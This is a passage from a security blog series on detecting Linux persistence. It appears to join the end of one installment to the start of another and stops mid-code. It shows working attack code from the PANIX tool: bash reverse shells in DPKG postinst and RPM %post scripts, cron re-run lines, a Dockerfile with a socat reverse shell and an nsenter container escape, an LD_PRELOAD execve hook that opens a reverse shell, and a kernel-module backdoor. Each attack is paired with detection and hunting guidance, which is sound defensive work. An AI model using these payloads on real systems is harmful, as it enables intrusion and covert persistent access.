By combining the Persistence via Pluggable Authentication Modules hunting rule with the tailored detection queries listed above, analysts can effectively identify and respond to T1556.003.

T1546.016 - Event Triggered Execution: Installer Packages

Package managers are used to install, update, and manage software packages. While these tools streamline software management, they can also be abused by attackers to gain initial access or achieve persistence. By hijacking the package manager's execution flow, attackers can insert malicious code that executes during routine package management tasks, such as package installation or updates. This technique is tracked by MITRE under the identifier T1546.016.

T1546.016 - Installer Packages: DPKG & RPM

Popular managers include DPKG (Debian Package) for Debian-based distributions and RPM (Red Hat Package Manager) for Red Hat-based systems.

1. DPKG (Debian Package Manager)

DPKG, the Debian package manager, processes .deb packages and supports lifecycle scripts such as preinst, postinst, prerm, and postrm. These scripts run at different stages of the package lifecycle, making them a potential target for executing malicious commands. A potential DPKG package file structure used for malicious intent could look like this:

malicious_package/
├── DEBIAN/
├── control
├── postinst

Where the post-installation script (postinst) runs immediately after a package is installed, allowing the attacker to gain initial access or establish persistence through malicious code.

Upon installation, the DPKG scripts (preinst, postinst, prerm, and postrm) will be stored in the /var/lib/dpkg/info/ directory and executed. Package installation logs are stored in /var/log/dpkg.log, and record commands like dpkg -i and the package names.

2. RPM (Red Hat Package Manager)

RPM, the Red Hat Package Manager, is the default package manager for Red Hat-based distributions like Fedora, CentOS, and RHEL. It processes .rpm packages and supports script sections such as %pre, %post, %preun, and %postun, which execute at various stages of the package lifecycle. These scripts can be exploited by attackers to run arbitrary commands during installation, removal, or updates.

A typical malicious RPM package might include a %post script embedded directly in the package’s spec file. For example, a %post script could launch a reverse shell or modify critical system configurations immediately after the package installation completes. An example package layout could look as follows:

~/rpmbuild/
├── SPECS/
│    ├── malicious_package.spec
├── BUILD/
├── RPMS/
├── SOURCES/
├── SRPMS/

Upon installation, RPM runs the %post script, allowing the attacker to execute the payload. The package manager logs installation activity in /var/log/rpm.log, which includes the names and timestamps of installed packages. Additionally, the built RPM package is stored in /var/lib/rpm/.

Persistence through T1546.016 - Installer Packages: DPKG & RPM

PANIX can establish persistence through both DPKG and RPM within the setup_malicious_package.sh module. Starting with DPKG, the directory structure is created, the control file is written and the payload is added to the postinst file:

# DPKG package setup
PACKAGE_NAME="panix"
PACKAGE_VERSION="1.0"
DEB_DIR="${PACKAGE_NAME}/DEBIAN"
PAYLOAD="#!/bin/sh\nnohup setsid bash -c 'bash -i >& /dev/tcp/${ip}/${port} 0>&1' &"

# Create directory structure
mkdir -p ${DEB_DIR}

# Write postinst script
echo -e "${PAYLOAD}" > ${DEB_DIR}/postinst
chmod +x ${DEB_DIR}/postinst

# Write control file
echo "Package: ${PACKAGE_NAME}" > ${DEB_DIR}/control
echo "Version: ${PACKAGE_VERSION}" >> ${DEB_DIR}/control
echo "Architecture: all" >> ${DEB_DIR}/control
echo "Maintainer: https://github.com/Aegrah/PANIX" >> ${DEB_DIR}/control
echo "Description: This malicious package was added through PANIX" >> ${DEB_DIR}/control

Afterwards, all that is left is to build the package with dpkg-deb and install it through dpkg.

# Build the .deb package
dpkg-deb --build ${PACKAGE_NAME}

# Install the .deb package
dpkg -i ${PACKAGE_NAME}.deb

Upon installation, or updating of the package, the payload will be executed. In order to persist on a regular interval, any other persistence mechanism can be used. PANIX leverages Cron:

echo "*/1 * * * * /var/lib/dpkg/info/${PACKAGE_NAME}.postinst configure > /dev/null 2>&1" | crontab -

To forcefully install the package on a certain interval. This is of course not a stealthy mechanism, but serves as a proof of concept to emulate the technique. Let’s run the payload, and analyze the simulated events in Kibana:

sudo ./panix.sh --malicious-package --dpkg --ip 192.168.100.1 --port 2019
dpkg-deb: building package 'panix' in 'panix.deb'.
Preparing to unpack panix.deb ...
Unpacking panix (1.0) over (1.0) ...
Setting up panix (1.0) ...
nohup: appending output to 'nohup.out'
[+] Malicious package persistence established.

Looking at the events generated in Kibana, we can see the following sequence:

PANIX is executed via sudo, after which the postinst and control files are created. The package is then built using dpkg-deb, and installed with dpkg -i. Here we can see the /var/lib/dpkg/info/panix.postinst executing the reverse shell execution chain (nohup → setsid → bash). After installation, the crontab is altered to establish persistence on a one-minute interval.

RPM

For RPM, a similar flow as DPKG is leveraged. The package is set up using the correct RPM package structure, and the %post section is set to contain the payload that gets triggered after installation:

# RPM package setup
PACKAGE_NAME="panix"
PACKAGE_VERSION="1.0"
cat <<-EOF > ~/rpmbuild/SPECS/${PACKAGE_NAME}.spec
Name: ${PACKAGE_NAME}
Version: ${PACKAGE_VERSION}
Release: 1%{?dist}
Summary: RPM package with payload script
License: MIT

%description
RPM package with a payload script that executes a reverse shell.

%prep
# No need to perform any preparation actions

%install
# Create directories
mkdir -p %{buildroot}/usr/bin

%files
# No need to specify any files here since the payload is embedded

%post
# Trigger payload after installation
nohup setsid bash -c 'bash -i >& /dev/tcp/${ip}/${port} 0>&1' &

%clean
rm -rf %{buildroot}

%changelog
* $(date +'%a %b %d %Y') John Doe <john.doe@example.com> 1.0-1
- Initial package creation

Next, the RPM package is built using rpmbuild, and installed with rpm:

# Build RPM package
rpmbuild -bb ~/rpmbuild/SPECS/${PACKAGE_NAME}.spec

# Install RPM package with forced overwrite
VER=$(grep VERSION_ID /etc/os-release | cut -d '"' -f 2 | cut -d '.' -f 1)
rpm -i --force ~/rpmbuild/RPMS/x86_64/${PACKAGE_NAME}-1.0-1.el${VER}.x86_64.rpm
mv ~/rpmbuild/RPMS/x86_64/${PACKAGE_NAME}-1.0-1.el${VER}.x86_64.rpm /var/lib/rpm/${PACKAGE_NAME}.rpm

Upon installation, the payload will be executed. Again, the following Cron job is created to ensure persistence on a one-minute interval:

echo "*/1 * * * * rpm -i --force /var/lib/rpm/${PACKAGE_NAME}.rpm > /dev/null 2>&1" | crontab

Let’s examine the traces that the RPM package technique leaves behind:

Upon PANIX execution, the panix.spec file is created and populated. Next, rpmbuild is used to build the package, and rpm -i is executed to install the package. Upon installation, the %post payload is executed, leading to an execution of the reverse shell chain (nohup → setsid → bash) with a process.parent.command_line of /bin/sh /var/tmp/rpm-tmp.HjtRV5 1, indicating the execution of an RPM package. After installation, Crontab is altered to execute the payload once, at one minute intervals for consistency.
Let’s take a look at the coverage:

Detection and endpoint rules that cover installer package (DPKG & RPM) persistence

You can revert the changes made by PANIX by running the following revert command:

> ./panix.sh --revert malicious-package

[+] Reverting malicious package...
[+] Removing DPKG package 'panix'...
[+] DPKG package 'panix' removed successfully.
[+] Removing cron job associated with 'panix'...
[+] Cron job removed.
[+] Cleaning up '/var/lib/dpkg/info'...
[+] Cleanup completed.

Hunting for T1546.016 - Installer Packages: DPKG & RPM

We can hunt for this technique using ES|QL and OSQuery by focusing on suspicious activity tied to package management tools. The approach includes monitoring for the following:

• File creation or modification in package management directories: Tracks unusual changes to files in paths like /var/lib/dpkg/info/ and /var/lib/rpm/, excluding common benign patterns such as checksum or list files.
• Processes executed from lifecycle scripts: Observes commands and processes launched from directories like /var/tmp/rpm-tmp.* and /var/lib/dpkg/info/, which may indicate suspicious or unauthorized activity.
• Detailed metadata on modified files: Uses OSQuery to gather additional file metadata, including ownership and timestamps, for forensic analysis of package management activity.

By combining the Persistence via DPKG/RPM Package hunting rule with the tailored detection queries listed above, analysts can effectively identify and respond to T1546.016.

T1610 - Deploy Container

Host escape involves exploiting vulnerabilities, misconfigurations, or excessive permissions in containerized or virtualized environments to gain access to the underlying host system. Technologies like Docker, Kubernetes, and VMware aim to isolate workloads, but improper configurations or shared resources can allow attackers to break out of the container and compromise the host. MITRE tracks container deployment under identifier T1610.

T1610 - Deploy Container: Malicious Docker Container

Docker containers are particularly susceptible to host escapes when improperly secured. Attackers may exploit vulnerabilities or misconfigurations in two main ways:

1. Manipulating a Running Container

Attackers abuse misconfigured containers to execute commands affecting the host. Common scenarios include:

• Privileged Mode: Containers running with --privileged can directly interact with host resources. For example, attackers may load kernel modules or access host-level devices.
• Excessive Capabilities: Containers with the CAP_SYS_ADMIN capability can perform privileged operations, such as mounting filesystems or accessing /dev devices.
• Sensitive Volume Access: Volumes like /var/run/docker.sock allow attackers to issue Docker commands to the host.
• Host Namespace Access: Containers configured with --pid=host or --net=host expose the host's process and network namespaces. Attackers can escalate privileges by targeting processes or manipulating network configurations directly.

2. Deploying a Malicious Container

Attackers deploy custom containers designed to break out of isolation. These containers often include:

• Exploits targeting runtime vulnerabilities or kernel bugs.
• Scripts for privilege escalation or persistence, such as reverse shells or C2 beacons.
• Malicious configurations enabling unauthorized access to host resources.

In the next section, we will take a look at an example of a malicious docker container implementation.

Persistence through T1610 - Deploy Container: Malicious Docker Container

In this scenario, we will take a look at how to simulate the creation of an exemplary malicious Docker container through PANIX. Within the setup_malicious_docker_container.sh module, PANIX creates a Dockerfile with the following contents:

FROM alpine:latest

RUN apk add --no-cache bash socat sudo util-linux procps

RUN adduser -D lowprivuser

RUN echo '#!/bin/bash' > /usr/local/bin/entrypoint.sh \\
	&& echo 'while true; do /bin/bash -c "socat exec:\"/bin/bash\",pty,stderr,setsid,sigint,sane tcp:$ip:$port"; sleep 60; done' >> /usr/local/bin/entrypoint.sh \\
	&& chmod +x /usr/local/bin/entrypoint.sh

RUN echo '#!/bin/bash' > /usr/local/bin/escape.sh \\
	&& echo 'sudo nsenter -t 1 -m -u -i -n -p -- su -' >> /usr/local/bin/escape.sh \\
	&& chmod +x /usr/local/bin/escape.sh \\
	&& echo 'lowprivuser ALL=(ALL) NOPASSWD: /usr/bin/nsenter' >> /etc/sudoers

USER lowprivuser

ENTRYPOINT ["/usr/local/bin/entrypoint.sh"]

The Dockerfile sets up a lightweight Alpine Linux container with tools like bash, socat, and nsenter. The entrypoint.sh script ensures continuous reverse shell access by repeatedly connecting to a remote server using socat. The escape.sh script, which is granted passwordless sudo permissions, uses nsenter to attach to the host's namespaces (e.g., mount, network, PID) via the init process, effectively breaking container isolation.

The container is built using:

docker build -t malicious-container -f $DOCKERFILE . && \

Where the -t flag tags the container for easy identification, and -f specifies the Dockerfile path.

It is then run with:

docker run -d --name malicious-container --privileged --pid=host malicious-container

Where the --privileged flag allows full access to host resources, bypassing Docker’s isolation mechanisms, while --pid=host shares the host's process namespace, enabling the container to interact directly with host-level processes.

To test this technique, Docker must be installed, and the user running the simulation must either have root or docker group permissions. Let’s run the payload and examine the logs through the execution of the following PANIX command:

sudo ./panix.sh --malicious-container --ip 192.168.100.1 --port 2021

 => [1/5] FROM [installing ...]
 => [2/5] RUN apk add --no-cache bash socat sudo util-linux procps
 => [3/5] RUN adduser -D lowprivuser
 => [4/5] RUN echo '#!/bin/bash' > /usr/local/bin/entrypoint.sh && echo 'while true; do /bin/bash -c "socat exec:
 => [5/5] RUN echo '#!/bin/bash' > /usr/local/bin/escape.sh && echo 'sudo nsenter -t 1 -m -u -i -n -p -- su -'

9543f7ce4c6a8defcad36358f00eb4d38a85a8688cc8ecd5f15a5a2d3f43383b

[+] Malicious Docker container created and running.
[+] Reverse shell is executed every minute.
[+] To escape the container with root privileges, run '/usr/local/bin/escape.sh'.
[+] Docker container persistence established!

After catching the shell on the attacker’s machine, run the /usr/local/bin/escape.sh script to escape the container:

❯ nc -nvlp 2021
listening on [any] 2021 ...
connect to [192.168.211.131] from (UNKNOWN) [192.168.211.151] 44726

9543f7ce4c6a:/$ /usr/local/bin/escape.sh
root@debian10-persistence:~# hostname
debian10-persistence

Upon execution, the following logs are generated:

The execution of panix.sh initiates the creation of the /tmp/Dockerfile. The build command is then executed to create the container based on the specified configuration. Once built, the container is launched with the --privileged and --pid=host flags, enabling the necessary capabilities for host escape. Upon startup, the container runs the /usr/local/bin/entrypoint.sh script, which successfully establishes a reverse shell connection to the attacker’s machine using socat. After the shell is caught, the /usr/local/bin/escape.sh script is executed, effectively breaking out of the container and gaining access to the host.

Let’s take a look at the coverage:

Detection and endpoint rules that cover malicious Docker container persistence

Besides the rules mentioned above, we also have a dedicated set of container rules that leverages our Defend for Containers integration, which can be found in the cloud_defend directory of our detection-rules repository. We have also extended our protections through the integration of Falco with Elastic Security. This integration significantly enhances threat detection directly at the edge — whether in Docker containers, Kubernetes clusters, Linux virtual machines, or bare metal environments. By introducing dedicated Falco connectors, we've strengthened Elastic's capabilities to improve cloud workload protection and endpoint security strategies.

For a deeper dive into how our Falco integration secures container workloads, check out our recent blog, “Securing the Edge: Harnessing Falco’s Power with Elastic Security for Cloud Workload Protection”. The blog covers Falco setup, rule creation, alerting, and explores various threat scenarios.

You can revert the changes made by PANIX by running the following revert command:

> ./panix.sh --revert malicious-container

[+] Stopping and removing the 'malicious-container'...
[+] Container 'malicious-container' stopped and removed.
[+] Removing Docker image 'malicious-container'...
[+] Docker image 'malicious-container' removed.
[+] Removing Dockerfile at /tmp/Dockerfile...
[+] Dockerfile removed.

Hunting for T1610 - Deploy Container: Malicious Docker Container

We can hunt for this technique using ES|QL and OSQuery by focusing on suspicious container activity and configurations. The approach includes monitoring for the following:

• Unusual network connections from Docker containers: Tracks connections to external or non-local IP addresses initiated by processes under /var/lib/docker/*.
• Privileged Docker containers: Identifies containers running in privileged mode, which pose a higher risk of host compromise.
• Recently created containers and images: Observes Docker containers and images created or pulled within the last 7 days to detect unauthorized deployments or suspicious additions.
• Sensitive host directory mounts: Monitors container mounts accessing paths like /var/run/docker.sock, /etc, or the root directory (/), which could enable container escape or unauthorized host access.

By combining the Persistence via Docker Container hunting rule with the tailored detection queries listed above, analysts can effectively identify and respond to T1610.

Conclusion

In this fourth chapter of the "Linux Detection Engineering" series, we examined additional persistence techniques that adversaries may leverage on Linux systems. We explored the abuse of PAM modules and pam_exec for executing malicious code during authentication events. After PAM, we looked into installer package manipulation via RPM and DPKG, where lifecycle scripts are weaponized for persistence during the package installation/updating process. We finalized this part by examining malicious Docker containers, detailing how privileged containers and host-level access can be exploited for persistence and container escape.

These techniques underscore the ingenuity and variety of methods adversaries can employ to persist on Linux systems. By leveraging PANIX to simulate these attacks and using the tailored ES|QL and OSQuery detection queries provided, you can build robust defenses and fine-tune your detection strategies.

Welcome to part three of the Linux Persistence Detection Engineering series! In this article, we continue to dig deep into the world of Linux persistence. Building on foundational concepts and techniques explored in the previous publications, this post discusses some additional, creative and/or complex persistence mechanisms.

If you missed the earlier articles, they lay the groundwork by exploring key persistence concepts. You can catch up on them here:

• Linux Detection Engineering - A Primer on Persistence Mechanisms
• Linux Detection Engineering - A Sequel on Persistence Mechanisms

In this publication, we’ll provide insights into:

• How each works (theory)
• How to set each up (practice)
• How to detect them (SIEM and Endpoint rules)
• How to hunt for them (ES|QL and OSQuery reference hunts)

To make the process even more engaging, we will be leveraging PANIX, a custom-built Linux persistence tool designed by Ruben Groenewoud of Elastic Security. PANIX allows you to streamline and experiment with Linux persistence setups, making it easy to identify and test detection opportunities.

By the end of this series, you'll have a robust knowledge of common and rare Linux persistence techniques; and you'll understand how to effectively engineer detections for common and advanced adversary capabilities. Are you ready to continue the journey on Linux persistence mechanisms? Let’s dive in!

Setup note

To ensure you are prepared to detect the persistence mechanisms discussed in this article, it is important to enable and update our pre-built detection rules. If you are working with a custom-built ruleset and do not use all of our pre-built rules, this is a great opportunity to test them and potentially fill any gaps. Now, we are ready to get started.

T1574.006 - Hijack Execution Flow: Dynamic Linker Hijacking

The dynamic linker is a critical component of the Linux operating system responsible for loading and linking shared libraries required by dynamically linked executables. When a program is executed, the dynamic linker resolves references to shared libraries, loading them into memory and linking them to the application at runtime. This allows programs to use external libraries, such as the GNU C Library (glibc), without including the library code within the program itself, which saves memory and simplifies updates.

Several key files and paths that play a crucial role in dynamic linking libraries are the following:

• Dynamic linker binaries (e.g. ld-linux-x86-64.so.2):
  • Typically located in /lib/ or /usr/lib/ for 32-bit systems.
  • Found in /lib64/ or /usr/lib64/ on 64-bit systems.
• Symbolic links to dynamic linker binaries:
  • Typically found in /lib/x86_64-linux-gnu/ or /usr/lib/x86_64-linux-gnu/ for 64-bit systems.
  • Typically found in /lib/i386-linux-gnu/ and /usr/lib/i386-linux-gnu/ on 32-bit systems.
• Configuration files:
  • /etc/ld.so.conf: Specifies additional library paths for the dynamic linker.
  • /etc/ld.so.cache: A precompiled cache of library locations generated by ldconfig for efficient resolution.
  • /etc/ld.so.preload: Specifies libraries to load before any other libraries.

You can observe the dynamic linker in action using the ldd command, which lists the shared libraries required by an executable and their resolved paths. For example:

> ldd /bin/ls

linux-vdso.so.1 (0x00007fff87480000)
libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x00007f235ff29000)
/lib64/ld-linux-x86-64.so.2 (0x00007f236034a000)

This output shows the libraries needed by the ls command, along with their locations and the dynamic linker binary responsible for loading them. The dynamic linker itself appears as /lib64/ld-linux-x86-64.so.2 in this case.

When a dynamically linked program is executed, the process follows these steps:

1. The dynamic linker loads the binary's ELF (Executable and Linkable Format) header to determine the required libraries.
2. It searches for the specified libraries in paths defined by:
   1. Default system library paths.
   2. Custom paths specified in /etc/ld.so.conf or environment variables like LD_PRELOAD and LD_LIBRARY_PATH.
3. It maps the libraries into the program’s memory space and resolves symbols (e.g., function or variable references) required by the program.
4. Execution is handed over to the program once all dependencies are resolved.

Dynamic Linker Hijacking occurs when an attacker manipulates the linking process to redirect execution flow. This can involve altering the library search order through LD_PRELOAD, modifying configuration files like /etc/ld.so.conf, or tampering with cached library mappings in /etc/ld.so.cache.

Malware such as HiddenWasp, Symbiote, and open-source rootkits such as Medusa and Azazel leverage this technique to establish persistence. MITRE ATT&CK tracks this technique under the identifier T1574.006.

T1574.006 - Dynamic Linker Hijacking: LD_PRELOAD

The LD_PRELOAD and LD_LIBRARY_PATH environment variables control how shared libraries are loaded by dynamically linked executables. Both are legitimate tools for debugging, profiling, and customizing application behavior, but they are also susceptible to abuse by attackers seeking to hijack the execution flow.

The LD_PRELOAD variable allows users to specify shared libraries that the dynamic linker should load before any others. This preloading ensures that functions or symbols in the specified libraries override those in standard or program-specified libraries. For instance, LD_PRELOAD is often used to test new implementations of library functions without modifying the application itself. For example:

LD_PRELOAD=/tmp/custom_library.so /bin/ls

In this case, the dynamic linker will load custom_library.so before loading any other libraries required by /bin/ls, effectively replacing or augmenting its behavior. Running ldd this time shows a different output:

> ldd /bin/ls

linux-vdso.so.1 (0x00007fff87480000)
libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x00007f235ff29000)
libcustom.so => /tmp/custom_library.so (0x00007f23ac7e5000)
/lib64/ld-linux-x86-64.so.2 (0x00007f236034a000)

Indicating that the potentially malicious custom_library.so will be loaded prior to all others.

The LD_LIBRARY_PATH variable specifies directories for the dynamic linker to search when resolving shared libraries. This variable takes precedence over default library paths like /lib/ and /usr/lib/, allowing users to override system libraries with custom versions located in alternate directories:

LD_LIBRARY_PATH=/tmp/custom_libs /bin/ls

Here, the dynamic linker will first search /tmp/custom_libs for the libraries required by /bin/ls. If a library is found there, it will be loaded instead of the default version.

While both LD_PRELOAD and LD_LIBRARY_PATH can hijack the execution flow, they operate differently:

• LD_PRELOAD directly specifies libraries to be loaded first, providing precise control over which functions are overridden.
• LD_LIBRARY_PATH alters the library search path, potentially affecting multiple libraries and their dependencies.

Environment variables can be set by regular users without requiring administrative access, making them a useful tool to hijack the execution flow without requiring root privileges. Setting environment variables is not persistent. To make the changes persistent across sessions, attackers can append these variables to the shell initialization files such as ~/.bashrc or ~/.zshrc. For example:

> echo 'export LD_PRELOAD=/tmp/malicious_library.so' >> ~/.bashrc
> echo 'export LD_LIBRARY_PATH=/tmp/custom_libs' >> ~/.bashrc

On the next successful login, these variables will automatically be set, ensuring that the specified libraries are loaded whenever a dynamically linked executable is run. For more details, refer to the section on shell profile modification in our previous blog.

With root access, an attacker can edit the /etc/ld.so.conf file or add configuration fragments to /etc/ld.so.conf.d/ to insert malicious library paths. By running ldconfig, they can ensure these libraries are cached and prioritized in the library search order for all users and applications. For example:

# Create a malicious shared library
> mkdir /lib/malicious
> gcc -shared -o /lib/malicious/libhack.so -fPIC /tmp/hack.c
> cp malicious_libc.so /lib/malicious/libc.so.6

# Add the malicious library path to /etc/ld.so.conf and reload
> echo "/lib/malicious" >> /etc/ld.so.conf
> ldconfig

# Verify with ldd
> ldd /bin/ls

linux-vdso.so.1 (0x00007ffd2b1a5000)
libc.so.6 => /lib/malicious/libc.so.6 (0x00007f23ac7e5000) /lib64/ld-linux-x86-64.so.2 (0x00007f23ac6e0000)

This output indicates that the malicious libc.so.6 is now being loaded, hijacking the execution flow of /bin/ls and potentially any other application relying on libc.so.6.

Similarly, an attacker can manipulate the /etc/ld.so.preload file to force the dynamic linker to load a malicious shared library into every dynamically linked executable on the system. Unlike modifying the library search paths in /etc/ld.so.conf, this technique directly injects a library into the execution flow, overriding or augmenting critical functions across all applications. For example:

# Create a malicious shared library
> gcc -shared -o /lib/malicious/libhack.so -fPIC hack.c

# Add the malicious library to /etc/ld.so.preload
> echo "/lib/malicious/libhack.so" >> /etc/ld.so.preload

# Verify with ldd
ldd /bin/ls

linux-vdso.so.1 (0x00007ffd2b1a5000)
libhack.so => /lib/malicious/libhack.so (0x00007f23ac7e5000)
/lib64/ld-linux-x86-64.so.2 (0x00007f236034a000)

The output shows that libhack.so is loaded before any other libraries. Since /etc/ld.so.preload affects all dynamically linked executables, the attack impacts every user and application.

Additionally, root access allows for more potential attack vectors, such as:

• Overwriting legitimate libraries in /lib/, /lib64/, /usr/lib/, or /usr/lib64/ with malicious versions.
• Replacing and or modifying the dynamic linker binary (e.g. ld-linux-x86-64.so.2) to introduce backdoors or alter the library resolution process.
• Modifying system-wide configuration files such as /etc/profile or /etc/bash.bashrc to globally set LD_PRELOAD or LD_LIBRARY_PATH.

Persistence through T1574.006 - Dynamic Linker Hijacking: LD_PRELOAD

Let’s examine how PANIX leverages the dynamic linker hijacking technique within the setup_ld_preload.sh module. This method relies on the presence of various compilation tools on the host system. PANIX hijacks the execution flow of the execve function for a user-specified binary, executing a backgrounded reverse shell whenever the binary is called:

// Function pointer for the original execve
int (*original_execve)(const char *pathname, char *const argv[], char *const envp[]);

// Function to spawn a reverse shell in the background
void spawn_reverse_shell() {
	pid_t pid = fork();
	if (pid == 0) { // Child process
		setsid(); // Start a new session
		char command[256];
		sprintf(command, "/bin/bash -c 'bash -i >& /dev/tcp/%s/%d 0>&1'", ATTACKER_IP, ATTACKER_PORT);
		execl("/bin/bash", "bash", "-c", command, NULL);
		exit(0); // Exit child process if execl fails
	}
}

// Hooked execve function
int execve(const char *pathname, char *const argv[], char *const envp[]) {
	// Load the original execve function
	if (!original_execve) {
		original_execve = dlsym(RTLD_NEXT, "execve");
		if (!original_execve) {
			exit(1);
		}
	}

	// Check if the executed binary matches the specified binary
	if (strstr(pathname, "$binary") != NULL) {
		// Spawn reverse shell in the background
		spawn_reverse_shell();
	}

	// Call the original execve function
	return original_execve(pathname, argv, envp);
}

To load the malicious shared object, PANIX backdoors the /etc/ld.so.preload by default.

// Compile the shared object
gcc -shared -fPIC -o $preload_lib $preload_source -ldl
if [ $? -ne 0 ]; then
	echo "Compilation failed. Exiting."
	exit 1
fi

// Add to /etc/ld.so.preload for persistence
if ! grep -q "$preload_lib" "$preload_file" 2>/dev/null; then
	echo $preload_lib >> $preload_file
	echo "[+] Backdoor added to /etc/ld.so.preload for persistence."
else
	echo "[!] Backdoor already present in /etc/ld.so.preload."
fi

Let’s run the module:

> sudo ./panix.sh --ld-preload --ip 192.168.1.1 --port 2016 --binary ls

LD_PRELOAD source code created: /tmp/preload/preload_backdoor.c 
LD_PRELOAD shared object compiled successfully: /lib/preload_backdoor.so 
[+] Backdoor added to /etc/ld.so.preload for persistence. 
[+] Execute the binary ls to trigger the reverse shell.

When opening a session, we can see the malicious library injected into the execution flow:

> ldd $(which ls)                                                                      

linux-vdso.so.1 (0x00007ffe00fe8000) /lib/preload_backdoor.so (0x00007f610548e000)
libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x00007f61052bb000)
libdl.so.2 => /lib/x86_64-linux-gnu/libdl.so.2 (0x00007f61052b6000)
/lib64/ld-linux-x86-64.so.2 (0x00007f61054a0000)

Executing the ls command will spawn a reverse connection, while executing any other command, such as whoami will not. Let’s analyze the logs in Discover:

We can see PANIX being executed, after which the temporary preload_backdoor.c source code is created in the /tmp directory. Next, gcc is used to compile the source code into a shared object and is added to the /etc/ld.so.preload file, which did not yet exist and is therefore created. After executing the ls binary, the backdoor is triggered, initializing a reverse connection on the specified IP and port.

To detect different activities along the chain, we have the following detection and endpoint rules in place:

To revert any changes made to the system by PANIX, you can use the corresponding revert module by running:

> sudo ./panix.sh --revert ld-preload 

[+] Reverting ld-preload module...
[+] Removing /lib/preload_backdoor.so from /etc/ld.so.preload...
[+] Removed entry from /etc/ld.so.preload.
[+] Removing malicious shared library /lib/preload_backdoor.so...
[+] Removed /lib/preload_backdoor.so.
[+] Removing temporary directory /tmp/preload...
[+] Removed /tmp/preload.
[!] Note: The backdoor may still be active in your current session.
[!] Please restart your shell session to fully disable the backdoor.
[!] Run 'exec bash' to start a new shell session.                                                                       

> exec bash 

Hunting for T1574.006 - Dynamic Linker Hijacking: LD_PRELOAD

Other than relying on detections, it is important to incorporate threat hunting into your workflow. This publication will solely list the available hunts for each persistence mechanism; however, more details regarding the basics of threat hunting are outlined in the “Hunting for T1053 - scheduled task/job” section of “Linux Detection Engineering - A primer on persistence mechanisms”. Additionally, descriptions and references can be found in our Detection Rules repository, specifically in the Linux hunting subdirectory.

We can hunt for this technique using ES|QL and OSQuery by focusing on the misuse of dynamic linker environment variables like LD_PRELOAD and LD_LIBRARY_PATH. The approach includes monitoring for the following:

• Processes with suspicious environment variables: Tracks processes with LD_PRELOAD and LD_LIBRARY_PATH set to unusual values.
• Creation of shared object (.so) files: Observes .so files created in non-standard or uncommon directories, which could indicate malicious activity.
• Modifications to critical dynamic linker files: Monitors changes to files like /etc/ld.so.preload, /etc/ld.so.conf, and associated directories such as /etc/ld.so.conf.d/.

By combining the Persistence via Dynamic Linker Hijacking hunting rule with the tailored detection queries listed above, analysts can effectively identify and respond to T1574.006.

T1547.006 - Boot or Logon Autostart Execution: Kernel Modules and Extensions

Loadable Kernel Modules (LKMs) provide a way to extend kernel functionality without modifying the core kernel itself. These modules can be dynamically loaded and unloaded at runtime, enabling features like hardware driver support, network protocol handling, and file system management.

Modules are typically stored in the /lib/modules/ or /usr/lib/modules/ directory followed by a subdirectory for the active kernel version and are organized into subdirectories based on their functionality, such as drivers or network protocols. To ensure an LKM is loaded on boot, the following configuration files are read:

• /etc/modules
• /etc/modprobe.d/
• /usr/lib/modprobe.d/
• /etc/modules-load.d/
• /run/modules-load.d/
• /usr/local/lib/modules-load.d/
• /usr/lib/modules-load.d/

Management tools like modprobe, insmod, and rmmod are used to load, list, or unload modules.

When an LKM is loaded, the following sequence occurs:

1. User-space invocation:
   a. A user with sufficient privileges initiates the loading process using tools like modprobe or insmod.
2. Syscall invocation:
   a. init_module(): Loads a module from memory.
   b. finit_module(): Loads a module from a file descriptor.
3. Kernel validation:
   a. The kernel verifies the module's integrity, structure, and compatibility.
   b. Checks include validation of the ELF format and kernel version compatibility using metadata like vermagic.
4. Dependency Resolution:
   a. Tools like depmod generate dependency files that modprobe uses to load any required modules.
5. Initialization and integration:
   a. The module's initialization function is executed, integrating it with the kernel's functionality through exported symbols and interfaces.

Newer systems leverage systemd to invoke module loading during startup based on unit dependencies specified in service files. Older systems may still use scripts in /etc/init.d/ or /etc/rc.d/ to load modules at boot.

The kernel prioritizes modules based on their order in dependency files or init system configurations. The search and load process typically follows:

1. Default paths specified in /lib/modules/ or /usr/lib/modules/
2. Overrides defined in /etc/modprobe.d/ or /usr/lib/modeprobe.d/
3. Kernel command-line parameters (e.g., modprobe.blacklist).

The flexibility and power of LKMs make them a double-edged sword, as they are not only indispensable for system functionality but also a potential vector for sophisticated threats, such as rootkits. MITRE tracks this technique under T1547.006.

T1014 - Rootkit

Rootkits are a class of malicious software designed to conceal their presence and maintain persistent access to a system. They operate at various levels, from user-space applications to kernel-level modules. Kernel-level rootkits leverage LKMs, manipulating kernel behavior to hide processes, files, and network activity, making them difficult to detect.

While rootkits are a broad and advanced topic, they are closely related to T1547.006 - Kernel Modules and Extensions. By modifying kernel structures or intercepting system calls, these rootkits can gain deep control over the system while remaining hidden from standard detection methods. MITRE tracks Rootkits specifically under T1014.

Future Work: T1014 - Rootkit

Rootkits are a vast topic deserving dedicated attention. In upcoming publications, we will explore:

• The basics of rootkits.
• Techniques for detecting and hunting rootkits.
• Real-world examples of rootkit attacks and defenses.

For now, understanding how LKMs are used as a vector for kernel rootkits bridges the gap between T1547.006 - Kernel Modules and Extensions and the broader topic of rootkits. This blog lays the groundwork for the in-depth exploration of rootkits to come.

Can’t wait to learn more about rootkits? Read our recent research, “Declawing PUMAKIT”, a sophisticated LKM rootkit that employs mechanisms to hide its presence and maintain communication with its C2 servers.

Persistence through T1547.006 - Kernel Modules and Extensions

While T1547.006 and T1014 share some overlap, PANIX includes two distinct modules: one for a basic LKM and another for a fully implemented rootkit. We’ll begin with the simple LKM using the setup_lkm.sh module for T1547. As before, this module requires kernel headers and compilation tools to be available on the host.

The LKM being created is a simple module that spawns a separate thread to execute a specified command. Once the command is executed, the thread enters a sleep state for 60 seconds before repeating the process in an infinite while loop.

#include <linux/module.h>
#include <linux/kernel.h>
#include <linux/init.h>
#include <linux/kthread.h>
#include <linux/delay.h>
#include <linux/signal.h>

static struct task_struct *task;

static int backdoor_thread(void *arg) {
	allow_signal(SIGKILL);
	while (!kthread_should_stop()) {
		char *argv[] = {$command};
		call_usermodehelper(argv[0], argv, NULL, UMH_WAIT_PROC);
		ssleep(60);
	}
	return 0;
}

static int __init lkm_backdoor_init(void) {
	printk(KERN_INFO "Loading LKM backdoor module\\n");
	task = kthread_run(backdoor_thread, NULL, "lkm_backdoor_thread");
	return 0;
}

static void __exit lkm_backdoor_exit(void) {
